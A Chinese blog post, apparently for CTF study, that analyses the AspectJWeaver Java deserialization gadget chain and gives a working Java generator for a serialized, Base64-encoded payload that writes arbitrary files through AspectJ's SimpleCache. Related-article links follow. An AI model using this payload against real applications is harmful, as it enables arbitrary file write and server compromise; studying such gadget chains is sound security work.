[Java反序列化]AspectJWeaver反序列化

前言

2021年二月份ysoserialize增加了这条AspectJWeaver链子，之后陆续在2021年的D3CTF以及国赛决赛中都出现了这条链子的攻击，所以学习一下AspectJWeaver的反序列化，之后再复现一下D3CTF和国赛决赛的两道Java。

依赖

        <dependency><groupId>commons-collections</groupId><artifactId>commons-collections</artifactId><version>3.1</version></dependency><dependency><groupId>org.aspectj</groupId><artifactId>aspectjweaver</artifactId><version>1.9.2</version></dependency>

需要存在CC链。

分析

首先看一下yso的chain：

Gadget chain:
HashSet.readObject()HashMap.put()HashMap.hash()TiedMapEntry.hashCode()TiedMapEntry.getValue()LazyMap.get()SimpleCache$StorableCachingMap.put()SimpleCache$StorableCachingMap.writeToPath()FileOutputStream.write()

前面部分是7u21，中间是CC6。从SimpleCache$StorableCachingMap.put()开始看起了。

StorableCachingMap是SimpleCache的内部类，它extends HashMap并且重写了put方法：

     @Overridepublic Object put(Object key, Object value) {try {String path = null;byte[] valueBytes = (byte[]) value;if (Arrays.equals(valueBytes, SAME_BYTES)) {path = SAME_BYTES_STRING;} else {path = writeToPath((String) key, valueBytes);}Object result = super.put(key, path);storeMap();return result;} catch (IOException e) {trace.error("Error inserting in cache: key:"+key.toString() + "; value:"+value.toString(), e);Dump.dumpWithException(e);}return null;}

当调用put的时候，会触发path = writeToPath((String) key, valueBytes);：

     private String writeToPath(String key, byte[] bytes) throws IOException {String fullPath = folder + File.separator + key;FileOutputStream fos = new FileOutputStream(fullPath);fos.write(bytes);fos.flush();fos.close();return fullPath;}

实现文件写入，即将put方法的value写入到folder + File.separator + key中。

测试：

    public static void main(String[] args) throws Exception{Class clazz = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");Constructor declaredConstructor = clazz.getDeclaredConstructor(String.class,int.class);declaredConstructor.setAccessible(true);HashMap map = (HashMap)declaredConstructor.newInstance("D:\\\\", 123);map.put("1.txt","123".getBytes(StandardCharsets.UTF_8));}

成功将123写入到D:\flag文件中。

构造出来：

    public static void main(String[] args) throws Exception{Class clazz = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");Constructor declaredConstructor = clazz.getDeclaredConstructor(String.class,int.class);declaredConstructor.setAccessible(true);HashMap map = (HashMap)declaredConstructor.newInstance("D:\\\\", 123);ConstantTransformer constantTransformer = new ConstantTransformer("evil code".getBytes(StandardCharsets.UTF_8));Map outerMap = LazyMap.decorate(map,constantTransformer);TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,"1.txt");HashSet hashSet = new LinkedHashSet(1);hashSet.add(tiedMapEntry);outerMap.remove("1.txt");System.out.println(Base64.getEncoder().encodeToString(SerializeUtil.serialize(hashSet)));}

我没有去管hashSet.add(tiedMapEntry);的时候还会在自己的电脑上触发一次，只要生成的payload能用就行了。感兴趣的师傅们可以自己构造一下HashSet的那部分使得在自己的电脑上不会触发，或者说直接抄一下yso的代码也都可以。

[Java反序列化]AspectJWeaver反序列化相关推荐

java 序列化概念和作用_结合代码详细解读Java序列化与反序列化概念理解
Java序列化与反序列化是什么?为什么需要序列化与反序列化?如何实现Java序列化与反序列化?本文围绕这些问题进行了探讨. 1.Java序列化与反序列化 Java序列化是指把Java对象转换为字节序列 ...
Java中如何引用另一个类里的集合_【18期】Java序列化与反序列化三连问：是什么？为什么要？如何做？...
Java序列化与反序列化是什么? Java序列化是指把Java对象转换为字节序列的过程,而Java反序列化是指把字节序列恢复为Java对象的过程: 序列化:对象序列化的最主要的用处就是在传递和保存对象 ...
java序列化与反序列化（转）
Java序列化与反序列化是什么?为什么需要序列化与反序列化?如何实现Java序列化与反序列化?本文围绕这些问题进行了探讨. 1.Java序列化与反序列化 Java序列化是指把Java对象转换为字节序列 ...
java序列化和反序列化以及序列化ID的作用分析
java序列化和反序列化一.概念 java对象序列化的意思就是将对象的状态转化成字节流,以后可以通过这些值再生成相同状态的对象.对象序列化是对象持久化的一种实现方法,它是将对象的属性和方法转化为一 ...
Java序列化、反序列化
目录 1:什么是序列化.反序列化? 2:序列化的用途? 3:序列化的n种方式 1:什么是序列化.反序列化? 把对象转换为字节序列的过程称为对象的序列化把字节序列转换为对象的过程中称为对象的反序列化 ...
java序列化和反序列化_Java恶意序列化背后的历史和动机
java序列化和反序列化与Java的序列化机制相关的问题已广为人知. 有效的Java 1st Edition (第10章)和有效的Java 2nd Edition (第11章)的整个最后一章都专门讨 ...
教你彻底学会Java序列化和反序列化
Java序列化是什么? Java序列化是指把Java对象转换为字节序列的过程,Java反序列化是指把字节序列恢复为Java对象的过程.反序列化:客户端重文件,或者网络中获取到文件以后,在内存中重构对象 ...
理论 | 教你彻底学会Java序列化和反序列化
这是小小本周的第四篇 Java序列化是什么? Java序列化是指把Java对象转换为字节序列的过程,Java反序列化是指把字节序列恢复为Java对象的过程.反序列化:客户端重文件,或者网络中获取到文件 ...
告别脚本小子系列丨JAVA安全(6)——反序列化利用链（上）
0x01 前言我们通常把反序列化漏洞和反序列化利用链分开来看,有反序列化漏洞不一定有反序列化利用链(经常用shiro反序列化工具的人一定遇到过一种场景就是找到了key,但是找不到gadget,这也就 ...
Java序列化与反序列化（一）
目录序列化与反序列化 1.最简单的使用:Serializable 接口 2. 序列化 ID 的问题 3. 静态字段不会序列化 4. 屏蔽字段:transient 5. 父类的序列化 6. 自定义序列 ...

[Java反序列化]AspectJWeaver反序列化

[Java反序列化]AspectJWeaver反序列化

前言

依赖

分析

[Java反序列化]AspectJWeaver反序列化相关推荐

最新文章

热门文章